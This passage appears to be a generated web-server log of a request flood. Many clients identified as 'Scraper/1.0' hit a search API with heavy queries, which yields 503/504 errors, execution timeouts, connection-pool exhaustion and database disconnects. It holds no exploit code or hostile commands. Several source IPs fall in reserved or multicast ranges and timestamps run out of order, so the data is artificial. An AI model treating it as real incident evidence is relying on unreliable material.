HTTP/1.1" 503 131 "-" "Scraper/1.0" +Aug 15 14:34:14 web-app-nginx 198.30.119.131 - - [15/Aug/2025:14:34:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 444 "-" "Scraper/1.0" +Aug 15 14:34:13 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:34:18 web-app-nginx 38.57.92.112 - - [15/Aug/2025:14:34:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 452 "-" "Scraper/1.0" +Aug 15 14:34:17 web-app-nginx 78.190.81.103 - - [15/Aug/2025:14:34:17 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 255 "-" "Scraper/1.0" +Aug 15 14:34:16 web-app-nginx 33.11.38.42 - - [15/Aug/2025:14:34:16 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 119 "-" "Scraper/1.0" +Aug 15 14:34:19 web-app-nginx 58.193.195.30 - - [15/Aug/2025:14:34:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 369 "-" "Scraper/1.0" +Aug 15 14:34:17 web-app-nginx 63.36.20.156 - - [15/Aug/2025:14:34:17 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 253 "-" "Scraper/1.0" +Aug 15 14:34:15 web-app-nginx 148.163.216.195 - - [15/Aug/2025:14:34:15 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 319 "-" "Scraper/1.0" +Aug 15 14:34:19 web-app-nginx 206.100.72.250 - - [15/Aug/2025:14:34:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 397 "-" "Scraper/1.0" +Aug 15 14:34:19 web-app-nginx 225.209.70.250 - - [15/Aug/2025:14:34:19 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 125 "-" "Scraper/1.0" +Aug 15 14:34:18 web-app-nginx 65.192.112.120 - - [15/Aug/2025:14:34:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 257 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 6.233.201.143 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 468 "-" "Scraper/1.0" +Aug 15 14:34:21 web-app-nginx 205.161.32.204 - - [15/Aug/2025:14:34:21 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 333 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 185.236.2.84 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 243 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 54.155.15.83 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 206 "-" "Scraper/1.0" +Aug 15 14:34:23 web-app-nginx 56.195.175.177 - - [15/Aug/2025:14:34:23 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 256 "-" "Scraper/1.0" +Aug 15 14:34:20 web-app-nginx 172.153.144.96 - - [15/Aug/2025:14:34:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 393 "-" "Scraper/1.0" +Aug 15 14:34:20 web-app-nginx 230.98.172.60 - - [15/Aug/2025:14:34:20 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 400 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 244.192.62.23 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 266 "-" "Scraper/1.0" +Aug 15 14:34:22 web-app-nginx 110.112.106.215 - - [15/Aug/2025:14:34:22 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 279 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 208.44.217.123 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 143 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 113.54.210.198 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 272 "-" "Scraper/1.0" +Aug 15 14:34:21 web-app-nginx 166.24.148.191 - - [15/Aug/2025:14:34:21 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 251 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 120.186.124.204 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 417 "-" "Scraper/1.0" +Aug 15 14:34:24 web-app-nginx 137.42.140.34 - - [15/Aug/2025:14:34:24 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 415 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 170.81.4.118 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 235 "-" "Scraper/1.0" +Aug 15 14:34:27 web-app-nginx 193.137.224.190 - - [15/Aug/2025:14:34:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 387 "-" "Scraper/1.0" +Aug 15 14:34:27 web-app-nginx 6.127.18.65 - - [15/Aug/2025:14:34:27 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 395 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 129.38.45.207 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 424 "-" "Scraper/1.0" +Aug 15 14:34:28 web-app-nginx 116.221.31.135 - - [15/Aug/2025:14:34:28 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 228 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 148.51.192.173 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 201 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 161.205.234.176 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 383 "-" "Scraper/1.0" +Aug 15 14:34:25 web-app-nginx 127.62.181.60 - - [15/Aug/2025:14:34:25 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 263 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 90.69.200.239 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 483 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 227.166.93.40 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 235 "-" "Scraper/1.0" +Aug 15 14:34:27 web-app-nginx 34.220.2.72 - - [15/Aug/2025:14:34:27 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 407 "-" "Scraper/1.0" +Aug 15 14:34:26 web-app-nginx 186.142.207.44 - - [15/Aug/2025:14:34:26 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 178 "-" "Scraper/1.0" +Aug 15 14:34:25 web-app-nginx 145.19.209.173 - - [15/Aug/2025:14:34:25 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 469 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app-nginx 59.41.115.146 - - [15/Aug/2025:14:34:29 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 211 "-" "Scraper/1.0" +Aug 15 14:34:29 web-app[3456]: CRITICAL: Connection pool exhausted +Aug 15 14:34:30 web-app-nginx 253.237.186.223 - - [15/Aug/2025:14:34:30 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 216 "-" "Scraper/1.0" +Aug 15 14:34:34 web-app-nginx 208.115.163.15 - - [15/Aug/2025:14:34:34 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 167 "-" "Scraper/1.0" +Aug 15 14:34:32 web-app-nginx 147.199.77.158 - - [15/Aug/2025:14:34:32 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 215 "-" "Scraper/1.0" +Aug 15 14:34:34 web-app-nginx 191.54.233.38 - - [15/Aug/2025:14:34:34 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 141 "-" "Scraper/1.0" +Aug 15 14:34:30 web-app-nginx 165.12.163.211 - - [15/Aug/2025:14:34:30 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 312 "-" "Scraper/1.0" +Aug 15 14:34:33 web-app-nginx 155.213.17.26 - - [15/Aug/2025:14:34:33 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 290 "-" "Scraper/1.0" +Aug 15 14:34:31 web-app-nginx 37.165.97.15 - - [15/Aug/2025:14:34:31 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 337 "-" "Scraper/1.0" +Aug 15 14:34:31 web-app-nginx 97.173.170.215 - - [15/Aug/2025:14:34:31 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 142 "-" "Scraper/1.0" +2025-08-15T14:34:34.939Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:34:35 web-app-nginx 8.59.163.146 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 160 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 13.124.4.223 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 292 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 240.209.114.222 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 426 "-" "Scraper/1.0" +Aug 15 14:34:36 web-app-nginx 137.16.136.39 - - [15/Aug/2025:14:34:36 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 350 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 214.23.104.24 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 108 "-" "Scraper/1.0" +Aug 15 14:34:39 web-app-nginx 30.111.111.32 - - [15/Aug/2025:14:34:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 172 "-" "Scraper/1.0" +Aug 15 14:34:37 web-app-nginx 1.68.136.96 - - [15/Aug/2025:14:34:37 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 291 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 66.130.227.28 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 186 "-" "Scraper/1.0" +Aug 15 14:34:36 web-app-nginx 15.91.81.107 - - [15/Aug/2025:14:34:36 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 358 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 79.138.42.147 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 137 "-" "Scraper/1.0" +Aug 15 14:34:36 web-app-nginx 47.241.18.188 - - [15/Aug/2025:14:34:36 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 173 "-" "Scraper/1.0" +Aug 15 14:34:39 web-app-nginx 173.218.208.210 - - [15/Aug/2025:14:34:39 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 145 "-" "Scraper/1.0" +Aug 15 14:34:35 web-app-nginx 118.3.173.28 - - [15/Aug/2025:14:34:35 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 484 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 165.155.70.238 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 198 "-" "Scraper/1.0" +Aug 15 14:34:38 web-app-nginx 116.102.70.39 - - [15/Aug/2025:14:34:38 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 435 "-" "Scraper/1.0" +Aug 15 14:34:44 web-app-nginx 51.220.227.209 - - [15/Aug/2025:14:34:44 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 244 "-" "Scraper/1.0" +Aug 15 14:34:42 web-app-nginx 183.111.231.211 - - [15/Aug/2025:14:34:42 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 385 "-" "Scraper/1.0" +Aug 15 14:34:43 web-app-nginx 14.195.11.85 - - [15/Aug/2025:14:34:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 319 "-" "Scraper/1.0" +Aug 15 14:34:41 web-app-nginx 176.159.68.80 - - [15/Aug/2025:14:34:41 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 107 "-" "Scraper/1.0" +Aug 15 14:34:41 web-app-nginx 7.123.176.141 - - [15/Aug/2025:14:34:41 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 483 "-" "Scraper/1.0" +Aug 15 14:34:43 web-app-nginx 26.76.26.201 - - [15/Aug/2025:14:34:43 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 213 "-" "Scraper/1.0" +Aug 15 14:34:40 web-app-nginx 36.241.56.224 - - [15/Aug/2025:14:34:40 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 155 "-" "Scraper/1.0" +Aug 15 14:34:42 web-app-nginx 241.129.62.37 - - [15/Aug/2025:14:34:42 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 191 "-" "Scraper/1.0" +Aug 15 14:34:44 web-app[3456]: ERROR: Maximum execution time of 300 seconds exceeded +Aug 15 14:34:45 web-app-nginx 98.155.132.66 - - [15/Aug/2025:14:34:45 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 233 "-" "Scraper/1.0" +Aug 15 14:34:49 web-app-nginx 12.143.161.225 - - [15/Aug/2025:14:34:49 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 378 "-" "Scraper/1.0" +Aug 15 14:34:49 web-app-nginx 34.33.174.221 - - [15/Aug/2025:14:34:49 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 143 "-" "Scraper/1.0" +Aug 15 14:34:48 web-app-nginx 171.172.131.166 - - [15/Aug/2025:14:34:48 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 356 "-" "Scraper/1.0" +Aug 15 14:34:49 web-app-nginx 201.76.206.44 - - [15/Aug/2025:14:34:49 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 473 "-" "Scraper/1.0" +Aug 15 14:34:48 web-app-nginx 138.98.17.33 - - [15/Aug/2025:14:34:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 437 "-" "Scraper/1.0" +Aug 15 14:34:47 web-app-nginx 20.241.18.48 - - [15/Aug/2025:14:34:47 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 384 "-" "Scraper/1.0" +Aug 15 14:34:48 web-app-nginx 183.52.151.117 - - [15/Aug/2025:14:34:48 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 503 367 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 163.78.44.25 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 349 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 250.49.118.48 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 286 "-" "Scraper/1.0" +Aug 15 14:34:53 web-app-nginx 3.147.106.194 - - [15/Aug/2025:14:34:53 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 121 "-" "Scraper/1.0" +Aug 15 14:34:53 web-app-nginx 51.59.202.32 - - [15/Aug/2025:14:34:53 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 380 "-" "Scraper/1.0" +Aug 15 14:34:50 web-app-nginx 197.48.241.170 - - [15/Aug/2025:14:34:50 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 412 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 127.60.180.42 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 428 "-" "Scraper/1.0" +Aug 15 14:34:51 web-app-nginx 70.182.231.184 - - [15/Aug/2025:14:34:51 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 387 "-" "Scraper/1.0" +Aug 15 14:34:53 web-app-nginx 151.127.213.194 - - [15/Aug/2025:14:34:53 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 269 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 81.123.66.161 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 183 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 153.13.165.248 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 503 461 "-" "Scraper/1.0" +Aug 15 14:34:50 web-app-nginx 1.105.78.115 - - [15/Aug/2025:14:34:50 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 346 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 70.120.234.57 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 487 "-" "Scraper/1.0" +Aug 15 14:34:54 web-app-nginx 45.22.244.172 - - [15/Aug/2025:14:34:54 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 503 376 "-" "Scraper/1.0" +Aug 15 14:34:52 web-app-nginx 179.165.83.170 - - [15/Aug/2025:14:34:52 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 503 315 "-" "Scraper/1.0" +Aug 15 14:34:57 web-app-nginx 231.33.70.105 - - [15/Aug/2025:14:34:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 452 "-" "Scraper/1.0" +Aug 15 14:34:58 web-app-nginx 240.131.25.145 - - [15/Aug/2025:14:34:58 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 267 "-" "Scraper/1.0" +Aug 15 14:34:55 web-app-nginx 25.212.169.123 - - [15/Aug/2025:14:34:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 183 "-" "Scraper/1.0" +Aug 15 14:34:59 web-app-nginx 120.216.171.174 - - [15/Aug/2025:14:34:59 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 184 "-" "Scraper/1.0" +Aug 15 14:34:55 web-app-nginx 152.146.149.230 - - [15/Aug/2025:14:34:55 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 397 "-" "Scraper/1.0" +Aug 15 14:34:55 web-app-nginx 94.97.123.61 - - [15/Aug/2025:14:34:55 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 301 "-" "Scraper/1.0" +Aug 15 14:34:57 web-app-nginx 68.65.159.194 - - [15/Aug/2025:14:34:57 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 315 "-" "Scraper/1.0" +Aug 15 14:34:59 web-app-nginx 59.106.249.137 - - [15/Aug/2025:14:34:59 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 416 "-" "Scraper/1.0" +Aug 15 14:34:56 web-app-nginx 1.167.167.141 - - [15/Aug/2025:14:34:56 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 495 "-" "Scraper/1.0" +Aug 15 14:34:58 web-app[3456]: CRITICAL: Connection pool exhausted +2025-08-15T14:34:59.572Z 1024 [Warning] Aborted connection 1024 to db: 'webapp_db' user: 'webapp_user' host: '172.17.0.1' (Got timeout writing communication packets) +Aug 15 14:35:04 web-app-nginx 70.40.169.71 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 334 "-" "Scraper/1.0" +Aug 15 14:35:02 web-app-nginx 234.96.162.139 - - [15/Aug/2025:14:35:02 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 121 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 198.106.225.104 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 439 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 119.96.82.15 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 196 "-" "Scraper/1.0" +Aug 15 14:35:01 web-app-nginx 231.37.234.97 - - [15/Aug/2025:14:35:01 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:35:04 web-app-nginx 58.85.92.70 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 108 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 110.118.141.5 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 153 "-" "Scraper/1.0" +Aug 15 14:35:04 web-app-nginx 243.30.230.160 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 245 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 247.230.144.194 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 123 "-" "Scraper/1.0" +Aug 15 14:35:04 web-app-nginx 34.133.166.73 - - [15/Aug/2025:14:35:04 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 253 "-" "Scraper/1.0" +Aug 15 14:35:03 web-app-nginx 25.143.140.30 - - [15/Aug/2025:14:35:03 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 269 "-" "Scraper/1.0" +Aug 15 14:35:01 web-app-nginx 253.174.109.192 - - [15/Aug/2025:14:35:01 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 400 "-" "Scraper/1.0" +Aug 15 14:35:00 web-app-nginx 245.13.25.18 - - [15/Aug/2025:14:35:00 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 111 "-" "Scraper/1.0" +Aug 15 14:35:01 web-app-nginx 159.228.206.232 - - [15/Aug/2025:14:35:01 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 207 "-" "Scraper/1.0" +Aug 15 14:35:08 web-app-nginx 236.154.165.26 - - [15/Aug/2025:14:35:08 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 264 "-" "Scraper/1.0" +Aug 15 14:35:05 web-app-nginx 74.71.167.208 - - [15/Aug/2025:14:35:05 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 473 "-" "Scraper/1.0" +Aug 15 14:35:09 web-app-nginx 22.8.97.42 - - [15/Aug/2025:14:35:09 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 288 "-" "Scraper/1.0" +Aug 15 14:35:06 web-app-nginx 186.67.50.20 - - [15/Aug/2025:14:35:06 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 224 "-" "Scraper/1.0" +Aug 15 14:35:07 web-app-nginx 35.119.148.99 - - [15/Aug/2025:14:35:07 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 204 "-" "Scraper/1.0" +Aug 15 14:35:06 web-app-nginx 187.153.191.249 - - [15/Aug/2025:14:35:06 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 481 "-" "Scraper/1.0" +Aug 15 14:35:05 web-app-nginx 52.234.168.100 - - [15/Aug/2025:14:35:05 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 268 "-" "Scraper/1.0" +Aug 15 14:35:09 web-app-nginx 86.160.186.110 - - [15/Aug/2025:14:35:09 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 454 "-" "Scraper/1.0" +Aug 15 14:35:05 web-app-nginx 241.72.136.55 - - [15/Aug/2025:14:35:05 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 445 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 37.79.105.45 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 196 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 210.206.159.137 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 162 "-" "Scraper/1.0" +Aug 15 14:35:10 web-app-nginx 38.188.135.183 - - [15/Aug/2025:14:35:10 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 421 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 73.202.149.191 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 365 "-" "Scraper/1.0" +Aug 15 14:35:12 web-app-nginx 89.10.228.151 - - [15/Aug/2025:14:35:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 343 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 219.153.151.160 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 190 "-" "Scraper/1.0" +Aug 15 14:35:12 web-app-nginx 47.188.236.243 - - [15/Aug/2025:14:35:12 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 208 "-" "Scraper/1.0" +Aug 15 14:35:14 web-app-nginx 128.41.221.119 - - [15/Aug/2025:14:35:14 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 499 "-" "Scraper/1.0" +Aug 15 14:35:13 web-app[3456]: ERROR: Database connection timeout +Aug 15 14:35:18 web-app-nginx 244.117.190.105 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 289 "-" "Scraper/1.0" +Aug 15 14:35:17 web-app-nginx 242.120.98.182 - - [15/Aug/2025:14:35:17 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 337 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 72.46.45.236 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 186 "-" "Scraper/1.0" +Aug 15 14:35:17 web-app-nginx 206.203.73.64 - - [15/Aug/2025:14:35:17 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 339 "-" "Scraper/1.0" +Aug 15 14:35:19 web-app-nginx 21.33.24.148 - - [15/Aug/2025:14:35:19 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 239 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 24.139.112.183 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 302 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 85.188.226.171 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=full_text_scan&filter=all HTTP/1.1" 504 497 "-" "Scraper/1.0" +Aug 15 14:35:16 web-app-nginx 28.76.192.12 - - [15/Aug/2025:14:35:16 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 147 "-" "Scraper/1.0" +Aug 15 14:35:15 web-app-nginx 116.27.222.164 - - [15/Aug/2025:14:35:15 +0000] "GET /api/v1/search?query=deep_search&filter=all HTTP/1.1" 504 491 "-" "Scraper/1.0" +Aug 15 14:35:19 web-app-nginx 17.172.235.23 - - [15/Aug/2025:14:35:19 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 236 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 127.40.167.41 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=complex_report&filter=all HTTP/1.1" 504 231 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 50.41.249.29 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 396 "-" "Scraper/1.0" +Aug 15 14:35:18 web-app-nginx 111.216.20.115 - - [15/Aug/2025:14:35:18 +0000] "GET /api/v1/search?query=heavy_aggregation&filter=all HTTP/1.1" 504 159 "-" 